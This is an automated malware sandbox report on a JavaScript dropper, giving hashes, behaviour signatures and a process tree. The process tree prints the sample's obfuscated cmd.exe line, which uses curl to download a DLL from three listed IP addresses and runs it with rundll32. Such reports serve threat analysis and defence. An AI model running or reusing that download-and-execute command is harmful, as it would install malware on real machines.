Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-11-2023 15:12

General

  • Target

    Lkygmroc.js

  • Size

    204KB

  • MD5

    ce44fba9e65e092ae312176c0fd267db

  • SHA1

    de9d41730933d553d9f8f89d5261a6ae6079ed54

  • SHA256

    a05f3bbcef9ca7a516af4971f2a272fc75770e2f57b3fe99ae363359d8461714

  • SHA512

    780eb23fb84ff07e908908345b29ebd88078def0aba30657f87dac667936e3d959f024769244ad3882db3babaaee398fdefcba0128acb3ce29ce3146ff59e95f

  • SSDEEP

    3072:jFJe7hgqWjPBELA7Ij/Xy8QkbmUca2ReLlWWul5:ZJeWqsBELzLxbmUcvRElXul5

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Lkygmroc.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3544
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c EYKR19 || ECho x7gL & piNg EI3N0t || CURl http://45.32.80.240/REIsgtf/Chanchttp://66.42.101.54/hsRW8R/Chanchttp://149.248.1.76/Scb/Chanc -o %TMP%\Tabernacular.dll & piNg -n 2 EI3N0t || ruNDlL32 %TmP%\Tabernacular.dll, Excpt & exIT zU1sz9lRzmA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\system32\PING.EXE
        piNg EI3N0t
        3⤵
        • Runs ping.exe
        PID:3464
      • C:\Windows\system32\curl.exe
        CURl http://45.32.80.240/REIsgtf/Chanchttp://66.42.101.54/hsRW8R/Chanchttp://149.248.1.76/Scb/Chanc -o C:\Users\Admin\AppData\Local\Temp\Tabernacular.dll
        3⤵
          PID:4860
        • C:\Windows\system32\PING.EXE
          piNg -n 2 EI3N0t
          3⤵
          • Runs ping.exe
          PID:1496
        • C:\Windows\system32\rundll32.exe
          ruNDlL32 C:\Users\Admin\AppData\Local\Temp\Tabernacular.dll, Excpt
          3⤵
            PID:3060

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads